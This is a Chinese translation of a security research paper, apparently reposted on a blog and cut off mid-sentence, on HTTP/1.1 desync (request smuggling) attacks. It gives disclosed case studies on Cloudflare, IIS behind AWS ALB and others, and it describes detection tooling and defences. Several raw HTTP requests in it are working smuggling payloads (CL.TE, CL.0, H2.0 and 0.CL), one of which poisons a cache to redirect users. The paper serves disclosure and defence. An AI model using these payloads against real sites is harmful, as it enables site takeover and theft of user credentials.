HTTP/1.1必须消亡:解析同步攻击的终局

本文深入探讨HTTP/1.1协议的设计缺陷,揭示解析同步攻击(HTTP Desync)如何导致大规模网站被劫持。通过多个真实案例,展示攻击者如何利用Akamai、Cloudflare和Netlify等核心基础设施的漏洞,并介绍开源检测工具包及防御策略。

HTTP/1.1必须消亡:解析同步攻击的终局

摘要

上游HTTP/1.1本质上不安全,定期使数百万网站面临敌对接管风险。六年的缓解尝试掩盖了问题,但未能修复它。本文介绍了几类新型HTTP解析同步攻击,能够大规模泄露用户凭证。通过详细案例研究展示这些技术,包括通过颠覆Akamai、Cloudflare和Netlify核心基础设施暴露数千万网站的关键漏洞。还介绍了开源工具包,支持系统化检测解析器差异和目标特定弱点。结合使用,该工具包和这些技术在两周内产生了超过20万美元的漏洞赏金。最终认为,HTTP请求走私必须被识别为基本协议缺陷。过去六年证明,解决单个实现问题永远不会消除这种威胁。尽管发现已报告并修补,网站仍默默易受未来变种攻击。这些都源于HTTP/1.1的致命缺陷,意味着微小的实现错误经常触发严重安全后果。HTTP/2+解决了这种威胁。如果我们想要安全网络,HTTP/1.1必须消亡。

目录

  • 解析同步终局:HTTP/1.1的致命缺陷
  • 掩盖但不修复的缓解措施
  • 意外入侵2000万个网站
  • “HTTP/1简单"及其他谎言
  • 赢得解析同步终局的策略
  • 检测解析器差异
  • 理解V-H和H-V差异
  • 将V-H差异转化为CL.0解析同步
  • 在ALB后利用IIS的H-V差异
  • 无Transfer-Encoding利用H-V
  • 0.CL解析同步攻击
  • 0.CL死锁
  • 超越400错误请求
  • 通过双解析同步将0.CL转化为CL.0
  • 更多解析同步攻击即将到来
  • 基于Expect的解析同步攻击
  • 绕过响应头移除
  • 通过普通Expect的0.CL解析同步 - T-Mobile
  • 通过混淆Expect的0.CL解析同步 - Gitlab
  • 通过普通Expect的CL.0解析同步 - Netlify CDN
  • 通过混淆Expect的CL.0解析同步 - Akamai CDN
  • 防御HTTP解析同步攻击
  • 为什么修补HTTP/1.1不够
  • HTTP/2相比HTTP/1的安全性
  • 如何在使用HTTP/1.1时生存
  • 如何帮助消灭HTTP/1.1
  • 结论

解析同步终局

HTTP/1.1的致命缺陷

HTTP/1.1有一个致命、高度可利用的缺陷 - 单个HTTP请求之间的边界非常弱。请求只是在底层TCP/TLS套接字上简单连接,没有分隔符,并且有多种方式指定其长度。这意味着攻击者可以创建关于一个请求结束和下一个请求开始的极端歧义。主要网站通常使用反向代理,将不同用户的请求通过共享连接池汇集到后端服务器。这意味着攻击者如果在服务器链中找到最微小的解析器差异,就可以导致解析同步,将恶意前缀应用到其他用户的请求,通常实现完全站点接管。

由于HTTP/1.1是一个古老、宽松、基于文本的协议,有数千种实现,找到解析器差异并不难。当2019年首次发现这种威胁时,感觉可以入侵任何东西。例如,显示它可以被利用来入侵PayPal登录页面两次。从那时起,我们还发布了关于请求走私的免费在线课程和多个进一步研究论文。如果后面在技术细节上迷失,参考这些可能有用。

六年后,很容易认为我们已经通过解析器收紧和HTTP/2的组合解决了问题 - HTTP/2是一种二进制协议,如果用于从前端开始的上游连接,几乎消除了整个攻击类。不幸的是,结果发现我们设法做的只是让问题看起来解决了。

掩盖但不修复的缓解措施

2025年,HTTP/1.1无处不在 - 但不一定显而易见。服务器和CDN通常声称支持HTTP/2,但实际上将传入的HTTP/2请求降级为HTTP/1.1传输到后端系统,从而失去大部分安全好处。降级传入HTTP/2消息比端到端使用HTTP/1.1更危险,因为它引入了第四种指定消息长度的方式。在本文中,我们将使用以下首字母缩略词表示四种主要长度解释:

  • CL(Content-Length)
  • TE(Transfer-Encoding)
  • 0(隐式零)
  • H2(HTTP/2内置长度)

HTTP/1.1乍看可能安全,因为如果应用原始请求走私方法和工具包,很难导致解析同步。但为什么?让我们看一个使用轻度混淆Transfer-Encoding头的经典CL.TE攻击。在这种攻击中,我们希望前端服务器使用Content-Length头解析请求,然后转发到后端,后端使用Transfer-Encoding头计算长度。

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: <redacted>
Transfer-Encoding : chunked
Content-length: 35

0

GET /robots.txt HTTP/1.1
X: yHTTP/1.1 200 OK

模拟受害者:

1
2
3
4
GET / HTTP/1.1
Host: example.comHTTP/1.1 200 OK

Disallow: /

这曾经在大量网站上有效。如今,即使目标实际易受攻击,探测也可能失败,原因有三:

  1. WAF现在使用正则表达式检测和阻止具有混淆Transfer-Encoding头的请求,或主体中的潜在HTTP请求。
  2. /robots.txt检测小工具在特定目标上不起作用。
  3. 服务器端竞争条件使这种技术在某些目标上高度不可靠。

我之前研究中讨论的基于超时的替代检测策略也被严重指纹识别和WAF阻止。

这创造了解析同步终局 - 由于玩具缓解措施和选择性硬化只打破既定检测方法,你有安全错觉。一切看起来安全,直到你做最微小的改变。事实上,HTTP/1.1实现如此密集地充满关键漏洞,你实际上可以错误地找到它们。

意外入侵2000万个网站

HTTP/1.1根本不适合我们通过添加另一层来解决每个问题的世界。以下案例研究很好地说明了这一点。

Wannes Verwimp就他发现的影响Heroku托管、Cloudflare后的站点问题征求我的意见。他发现了H2.0解析同步,并能够利用它将访问者重定向到自己的网站。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
GET /assets/icon.png HTTP/2
Host: <redacted>

GET /assets HTTP/1.1
Host: psres.net
X: y
HTTP/2 200 OK
Cf-Cache-Status: HIT
GET / HTTP/2
Host: <redacted>

HTTP/2 302 Found
Location: https://psres.net/assets/

此重定向保存在Cloudflare缓存中,因此通过毒化JavaScript文件的缓存条目,他能够持久控制整个网站。这一切都不引人注目,除了一件事 - 被劫持的用户并未尝试访问目标网站。攻击实际上危害随机第三方站点,包括某些银行!

我同意调查并注意到其他奇怪之处 - 攻击被Cloudflare前端缓存阻止,意味着请求永远不会到达后端服务器。我推断这种攻击不可能有效,Wannes一定犯了错误,所以我添加了缓存破坏器…攻击失败。当我移除缓存破坏器时,它开始工作。

通过忽略攻击被缓存阻止的事实,Wannes发现了Cloudflare基础设施内部的HTTP/1.1解析同步:此发现暴露超过24,000,000个网站完全站点接管!它体现了解析同步终局 - 经典方法不起作用,但基于HTTP/1构建的系统如此复杂和关键,以至于你可以犯一个错误并最终控制2400万个网站。

我们报告了此问题,Cloudflare在几小时内修补,发布了事后分析并奖励了7000美元赏金。

不熟悉漏洞赏金狩猎的读者可能会对本文中支付的赏金相对于影响感到惊讶,但大多数收到的赏金接近各自计划广告的最高支付。赏金大小是底层经济的人工产物,任何真正令人惊讶的赏金体验将被突出显示。

“HTTP/1简单"及其他谎言

这样的错误如何发生?部分原因是所涉及系统的纯粹复杂性。例如,我们可以推断,通过HTTP/2发送到Cloudflare的请求有时会重写为HTTP/1.1供内部使用,然后再次重写为HTTP/2用于上游连接!然而,底层问题是基础。

有一个广泛、危险的误解,认为HTTP/1.1是适合你可能构建的任何系统的稳健基础。特别是,未实现反向代理的人经常认为HTTP/1.1简单,因此安全。尝试代理HTTP/1.1的那一刻,它变得不那么简单。为了说明这一点,以下是我个人曾经相信的五个谎言 - 每个都对本文后面讨论的真实利用至关重要:

  1. HTTP/1.1请求不能直接针对中介
  2. HTTP/1.1解析同步只能由解析器差异引起
  3. HTTP/1.1响应包含代理解析所需的一切
  4. HTTP/1.1响应只能包含一个头块
  5. 完整的HTTP/1.1响应需要完整的请求

你相信哪些?你能将每个陈述映射到破坏它的功能吗?综合起来,最后三个谎言背后的现实是,你的代理需要引用请求对象只是为了从后端TCP套接字读取正确数量的响应字节,并且你需要控制流分支来处理多个头块,甚至在你到达响应体之前,整个响应可能在客户端甚至完成发送请求之前到达。

这就是HTTP/1.1 - 它是网络的基础,充满复杂性和陷阱,定期暴露数百万网站,我们花了六年时间未能修补实现来补偿它。它需要消亡。为了实现这一点,我们需要集体向世界展示HTTP/1.1不安全 - 特别是,更多解析同步攻击总是到来。在本文其余部分,我希望向你展示如何做到这一点。

所有案例研究都是通过对具有漏洞披露计划(VDP)的目标进行授权测试确定的,并已私下报告和修补(除非另有说明)。作为VDP条款和条件的副作用,即使问题实际已修补,许多也被部分编辑。明确命名公司表明它们有更成熟的安全计划。本研究期间获得的所有赏金在涉及的所有人之间平均分配,我的份额由PortSwigger翻倍后捐赠给当地慈善机构。

赢得解析同步终局的策略

检测解析器差异

在解析同步终局中,由于缓解措施、复杂性和怪癖,检测漏洞困难。为了在这种环境中茁壮成长,我们需要一种检测策略,可靠地识别使解析同步攻击可能的底层缺陷,而不是尝试具有许多移动部分的脆弱攻击。这将使我们能够识别和克服利用挑战。

早在2021年,Daniel Thacher在黑帽欧洲介绍了实用HTTP头走私,并描述了使用Content-Length头检测解析器差异的方法。我非常喜欢这个概念,以至于尝试他的工具后,决定尝试从头开始构建自己的实现,做略有不同的事情,看看发生了什么。

该工具证明非常有效,我很高兴在开源Burp Suite扩展HTTP Request Smuggler v3.0中发布它。以下是用于分析的三个关键元素的高级概述,以及可能的结果:

理解V-H和H-V差异

让我们看真实检测,以及如何解释:

1
2
3
4
5
GET / HTTP.1.1 
Host: <redacted-food-corp> HTTP/1.1 200 OK
Xost: <redacted-food-corp> HTTP/1.1 503 Service Unavailable
 Host: <redacted-food-corp> HTTP/1.1 400 Bad Request
 Xost: <redacted-food-corp> HTTP/1.1 503 Service Unavailable

这里,HTTP Request Smuggler检测到发送具有部分隐藏Host头的请求会导致独特响应,无法通过发送正常Host头、完全省略头或发送任意掩码头触发。这是目标使用的服务器链中存在解析器差异的有力证据。如果我们假设有前端和后端,有两个关键可能性:

  • 可见-隐藏(V-H):掩码Host头对前端可见,但对后端隐藏
  • 隐藏-可见(H-V):掩码Host头对前端隐藏,但对后端可见

通过密切关注响应并猜测它们是否源自前端或后端,通常可以区分V-H和H-V差异。注意特定状态码不相关,有时可能令人困惑。重要的是它们不同。此发现结果是V-H差异。

将V-H差异转化为CL.0解析同步

给定V-H差异,你可以尝试通过向后端隐藏Transfer-Encoding头进行TE.CL利用,或通过隐藏Content-Length头尝试CL.0利用。我强烈建议尽可能使用CL.0,因为它被WAF阻止的可能性小得多。在许多V-H目标上,包括上述目标,利用简单:

1
2
3
4
5
6
7
8
9
GET /style.css HTTP/1.1
Host: <redacted-food-corp>
Foo: bar
 Content-Length: 23

GET /404 HTTP/1.1
X: y HTTP/1.1 200 OK
GET / HTTP/1.1
Host: <redacted-food-corp>HTTP/1.1 404 Not Found

在不同目标上,上述利用失败,因为前端服务器拒绝包含主体的GET请求。我能够通过将方法切换到OPTIONS来解决这个问题。发现并解决此类障碍的能力使扫描解析器差异如此有用。

我没有花时间在此目标上制作完全武器化的PoC,因为对于低报酬赏金计划和VDP不经济。

检测策略

通过组合不同头、排列和策略,该工具实现卓越覆盖。例如,这是使用相同头(Host)、相同排列(头名前导空格)但不同策略(具有无效值的重复Host)的发现:

1
2
3
4
5
6
7
POST /js/jquery.min.js
Host: <vpn.redacted> 

Host: x/x HTTP/1.1 400 Bad Request
Xost: x/x HTTP/1.1 412 Precondition Failed
 Host: x/x HTTP/1.1 200 OK
 Xost: x/x HTTP/1.1 412 Precondition Failed

此目标再次使用CL.0解析同步直接利用。根据我的经验,Web VPN通常有有缺陷的HTTP实现,我强烈建议不要将任何类型的反向代理放在后面。

检测高风险解析

差异检测方法还可以识别偏离接受解析约定的服务器,因此如果放在反向代理后面,可能易受攻击。例如,扫描服务器显示它们不将\n\n视为终止头块:

1
2
3
4
5
6
7
8
POST / HTTP/1.1\r\n
Content-Length: 22\r\n
A: B\r\n
\nExpect: 100-continue\r\n
HTTP/1.1 100 Continue

HTTP/1.1 302 Found
Server: <redacted>

对于直接访问无害,但RFC-9112规定"接收者可能识别单个LF作为行终止符”。在此类前端后面,这将可利用。此漏洞追溯到底层HTTP库,修补正在进行中。报告此类理论发现不太可能获得可观的漏洞赏金支付,但可能对使生态系统更安全做很多。

在ALB后利用IIS的H-V差异

HTTP Request Smuggler还识别了大量使用Microsoft IIS behind AWS Application Load Balancer (ALB)的易受攻击系统。这有用,因为AWS不计划修补它。检测通常显示为:

1
2
3
4
Host: foo/bar 400, Server; awselb/2.0
Xost: foo/bar 200, -no server header-
Host : foo/bar 400, Server: Microsoft-HTTPAPI/2.0
Xost : foo/bar 200, -no server header-

正如你可以从服务器横幅推断,这是H-V差异:当畸形Host头被混淆时,ALB看不到它并将请求传递到后端服务器。

利用H-V差异的经典方法是使用CL.TE解析同步,因为Transfer-Encoding头通常优先于Content-Length,但这被AWS的Desync Guardian阻止。我决定搁置问题以专注于其他发现,然后Thomas Stacey独立发现它,并使用H2.TE解析同步绕过Desync Guardian。

即使H2.TE绕过修复,攻击者仍然可以利用此走私头,启用IP欺骗和有时完全身份验证绕过。

我向AWS报告了此问题,结果发现他们已经意识到但选择不修补,因为他们不想破坏与发送畸形请求的古老HTTP/1客户端的兼容性。你可以通过更改两个设置自行修补:

  • 设置routing.http.drop_invalid_header_fields.enabled
  • 设置routing.http.desync_mitigation_mode = strictest

此未修复的发现暴露了云代理的被忽视危险:采用它们将另一家公司的技术债务直接导入你自己的安全状况。

无Transfer-Encoding利用H-V

这项研究的下一个重大突破是当我在某个网站上发现H-V差异时,该网站阻止所有包含Transfer-Encoding的请求,使CL.TE攻击不可能。对此只有一种前进方式:0.CL解析同步攻击。

0.CL解析同步攻击

0.CL死锁

0.CL解析同步攻击被广泛认为不可利用。要理解原因,考虑当您将以下攻击发送到具有H-V解析器差异的目标时会发生什么:

1
2
3
4
5
6
7
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
 7

GET /404 HTTP/1.1
X: Y

前端看不到Content-Length头,因此它将橙色有效负载视为第二个请求的开始。这意味着它缓冲橙色有效负载,并仅将头块转发到后端:

1
2
3
4
5
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
 7
HTTP/1.1 504 Gateway Timeout

后端确实看到Content-Length头,因此它将等待主体到达。同时,前端将等待后端回复。最终,其中一个服务器将超时并重置连接,打破攻击。本质上,0.CL解析同步攻击通常导致上游连接死锁。

打破0.CL死锁

在这项研究之前,我花了两年时间探索竞争条件和定时攻击。在这个过程中,我偶然发现了0.CL死锁的解决方案。

每当尝试在运行nginx的目标上对静态文件使用单包攻击时,nginx会在请求完成之前响应请求,从而打破我的定时测量。当时这需要复杂的解决方法,但暗示了使0.CL可利用的方法。

逃脱0.CL死锁的关键是找到早期响应小工具:一种使后端服务器响应请求而不等待主体到达的方法。这在nginx上很简单,但我的目标运行IIS,静态文件技巧在那里不起作用。那么,我们如何说服IIS响应请求而不等待主体到达?让我们看看我最喜欢的Windows文档:

不要对文件名使用以下保留名称:CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7…

如果尝试使用保留名称访问文件或文件夹,操作系统

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计